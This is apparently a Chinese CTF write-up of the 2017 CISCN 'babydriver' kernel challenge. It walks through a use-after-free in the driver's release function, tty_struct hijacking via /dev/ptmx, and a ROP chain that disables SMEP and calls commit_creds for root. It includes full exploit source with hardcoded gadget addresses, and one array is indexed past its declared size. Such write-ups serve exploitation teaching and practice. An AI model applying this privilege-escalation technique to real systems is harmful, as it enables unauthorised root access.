题目:2017 CISCN babydriver
附件文件
- 给boot.sh加上
-s
调试参数
- 解压
rootfs.cpio
后拿到./lib/modules/4.4.72/babydriver.ko
漏洞文件
vmlinux-to-elf bzImage vmlinux
得到vmlinux内核
- 下面即可分析和编写exp了
保护
分析
将babydriver.ko
放入IDA中进入到babydriver_init模块入口函数,简单分析如下:
模块流程核心函数如下:
babyopen函数:
可以注意到参数分别是struct inode *inode, struct file *filp
inode
结构存储有关文件和目录(文件夹)的信息,例如文件所有权、访问模式(读取、写入、执行权限)和文件类型。
file
结构代表一个打开的文件。(它不特定于设备驱动程序;系统中每个打开的文件在struct file
内核空间中都有一个关联。)直到最后一个close。在文件的所有实例都关闭后,内核释放数据结构
babyread:
babywrite:
babyioctl:
babyrelease函数:
综上可知release函数
存在一个uaf漏洞,ioctl函数
可以重新分配指定大小的堆块
思路
这里利用uaf漏洞劫持tty_struct
/dev/ptmx是一种tty设备,tty设备被open的时候,会申请一个空间作为tty_struct定义如下:
struct tty_struct {
int magic; //魔数 0x00005401 占4byte
struct kref kref; //0x00000100 这个结构体最终指向typedef struct --> int counter; 占4byte
struct device *dev; //占8byte
struct tty_driver *driver;//占8byte
const struct tty_operations *ops; //目标指针 定义在下面
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
//........
}
0x005401
就是tty_struct
结构体的魔数,struct kref
值为0x100
,0xffffffff81a74f80
就是struct tty_operations
指针
struct tty_operations
结构体存了许多函数指针,在对此设备进行操作的时候,就会调用这里的函数指针,定义如下:
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
//。。。。。。
};
具体指令对应着相应的函数段,此时第八个指针也就是write函数的指针 -> 0x38处
将它修改为ROP,在调用/dev/ptmx进程的write
函数时即可进入ROP劫持程序执行流
首先就是常见的保存用户态环境,分别是cs、ss、sp、eflags
寄存器将它们保存进全局变量便于后面取出,然后就是造成uaf劫持到tty_struct
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include<sys/ioctl.h>
#define TTY_STRUCT_SIZE 0x2e0 //gdb中 p sizeof(struct tty_struct)
#define POP_RDI 0xffffffff810d238d //: pop rdi ; ret
#define MOV_CR4_RDI 0xffffffff81004d80 //: mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5
#define POP_RAX 0xffffffff8100ce6e //: pop rax ; ret
#define SWAPGS 0xffffffff81063694 //: swapgs ; pop rbp ; ret
#define prepare_kernel_cred 0xffffffff810a1810 //通过gdb查看
#define commit_creds 0xffffffff810a1420
size_t user_cs,user_ss,user_sp,user_flags;
//size_t 32bit中4byte, 64bit中8byte
void staveStatus(){
asm(
"mov %cs , user_cs;" //cs寄存器只能通过mov保存
"mov %ss , user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_flags;"
);
}
int main(){
staveStatus();
int fd1 = open("/dev/babydev",O_RDWR); // alloc
int fd2 = open("/dev/babydev",O_RDWR); // alloc
ioctl(fd1,0x10001,TTY_STRUCT_SIZE); //realloc #TTY_STRUCT_SIZE这个值可以通过gdb调试时 p sizeof(struct tty_struct)得到,必须要有符号表!
close(fd1); //free
int tty_fd = open("/dev/ptmx",O_RDWR); //uaf
}
断点在babywrite
处在mov filp, cs:babydev_struct.device_buf
后记录rdi
的值(文件fd值),然后也就是单步调试到call _copy_from_user
后面查看rdi
的值如图:
可以看到已经成功拿到了tty_struct
结构它的magic
就是0x5401
我们知道tty_struct
结构的第4个参数是tty_operations
指针那么就可以在这里写入我们伪造的fake_tty_operations
了
将fd2的数据复制到我们的fake_tty_struct
结构中,也可以手动设置数据,这里为了方便
size_t fake_tty_struct[4];
size_t fake_tty_operations[7];
read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
fake_tty_struct[3] = &fake_tty_operations;//修改tty_operations指向我们的fake_tty_operations
write(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //写入伪造的fake_tty_struct
write(tty_fd,"",1); //执行fake_tty_operations --> write
这里有个转换关系:写入的rop地址到栈中是一个双级指针格式如为(当前栈地址->rop链地址->gadget)
所以不能直接将rop地址写到第7个指针,通过放入rax -> rsp 取出二级地址执行
size_t fake_tty_struct[4];
size_t fake_tty_operations[7];
size_t rop[0x10];
int i = 0;
rop[i++] = POP_RDI;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RDI; //mov cr4, rdi /使得cr4 = 0x6f0
rop[i++] = 0; //pop rbp
rop[i++] = &getRoot; //ret
rop[i++] = SWAPGS; #切换
rop[i++] = 0;
rop[i++] = &intoUserStatus;
memset(fake_tty_operations,'\x00',sizeof(fake_tty_operations));
fake_tty_operations[7] = MOV_RSP_RAX; //会先执行tty_operations结构体中的write函数
fake_tty_operations[0] = POP_RAX; //将下面rop的代码地址放入rax
fake_tty_operations[1] = &rop;
fake_tty_operations[2] = MOV_RSP_RAX; //执行rop流程
read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
fake_tty_struct[3] = &fake_tty_operations;
write(fd2,fake_tty_struct,sizeof(fake_tty_struct));
write(tty_fd,"",1);
然后就是一些跳来跳去的gadget链,这里提权采用commit_creds(prepare_kernel_cred(NULL))
方式进行提取权限和一些标准的提权流程
完整exp
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include<sys/ioctl.h>
#define TTY_STRUCT_SIZE 0x2e0 //gdb中 p sizeof(struct tty_struct)
#define POP_RDI 0xffffffff810d238d //: pop rdi ; ret
#define MOV_CR4_RDI 0xffffffff81004d80 //: mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5
#define POP_RAX 0xffffffff8100ce6e //: pop rax ; ret
#define SWAPGS 0xffffffff81063694 //: swapgs ; pop rbp ; ret
#define prepare_kernel_cred 0xffffffff810a1810 //通过gdb查看
#define commit_creds 0xffffffff810a1420
size_t user_cs,user_ss,user_sp,user_flags;
//size_t 32bit中4byte, 64bit中8byte
void staveStatus(){
asm(
"mov %cs , user_cs;" //cs寄存器只能通过mov保存
"mov %ss , user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_flags;"
);
}
void getRoot(){
char* ((*pkc) (int)) = prepare_kernel_cred;
void ((*cc)(char*)) = commit_creds;
(*cc)((*pkc)(NULL)); //commit_creds(prepare_kernel_cred(NULL))
}
void getShell(){
execl("/bin/sh","sh",NULL);
}
void intoUserStatus(){
asm(
"push %0;"
"push %1;"
"push %2;"
"push %3;"
"push %4;"
"iretq;"
:
: "r"(user_ss),"r"(user_sp) ,"r"(user_flags) ,"r"(user_cs), "r"(&getShell)
);
//rop[i++] = IRETQ; //这里发现gadget 中没有这个指令 所以手写asm
}
int main(){
staveStatus();
int fd1 = open("/dev/babydev",O_RDWR); // alloc
int fd2 = open("/dev/babydev",O_RDWR); // alloc
ioctl(fd1,0x10001,TTY_STRUCT_SIZE); //realloc
close(fd1); //free
int tty_fd = open("/dev/ptmx",O_RDWR); //uaf
size_t fake_tty_struct[4];
size_t fake_tty_operations[7];
size_t rop[0x10];
int i = 0;
rop[i++] = POP_RDI;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RDI; //mov cr4, rdi /使得cr4 = 0x6f0
rop[i++] = 0; //pop rbp
rop[i++] = &getRoot; //ret
rop[i++] = SWAPGS;
rop[i++] = 0;
rop[i++] = &intoUserStatus;
memset(fake_tty_operations,'\x00',sizeof(fake_tty_operations));
fake_tty_operations[7] = MOV_RSP_RAX; //会先执行tty_operations结构体中的write函数
fake_tty_operations[0] = POP_RAX; //将下面rop的代码地址放入rax
fake_tty_operations[1] = &rop;
fake_tty_operations[2] = MOV_RSP_RAX; //执行rop流程
//mov_rsp_rax -> pop_rax -> mov_rsp_rax -> rop
//这里有个转换关系:写入的rop地址到栈中是一个双级指针格式如为(当前栈地址->rop链地址->gadget)
//所以不能直接将rop地址写到第7个指针,通过放入rax -> rsp 取出二级地址执行
read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
fake_tty_struct[3] = &fake_tty_operations;
write(fd2,fake_tty_struct,sizeof(fake_tty_struct));
write(tty_fd,"",1);
return 0;
}
成功获取root权限